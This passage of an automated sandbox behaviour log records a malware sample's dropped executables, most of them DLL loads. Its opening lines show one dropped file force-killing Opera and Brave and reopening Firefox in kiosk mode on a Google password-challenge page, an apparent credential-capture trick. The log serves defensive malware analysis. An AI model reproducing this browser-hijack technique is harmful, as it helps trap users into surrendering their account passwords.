Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2220 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {db3c9087-adfb-46b4-b057-3fef806f712c} 8076 "\\.\pipe\gecko-crash-server-pipe.8076" 1df0ee6df10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=920 -parentBuildID 20230927232528 -prefsHandle 3540 -prefMapHandle 2836 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9c503f6a-c2b4-4421-a458-09ae7f72f09c} 8076 "\\.\pipe\gecko-crash-server-pipe.8076" 1df2101c210 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
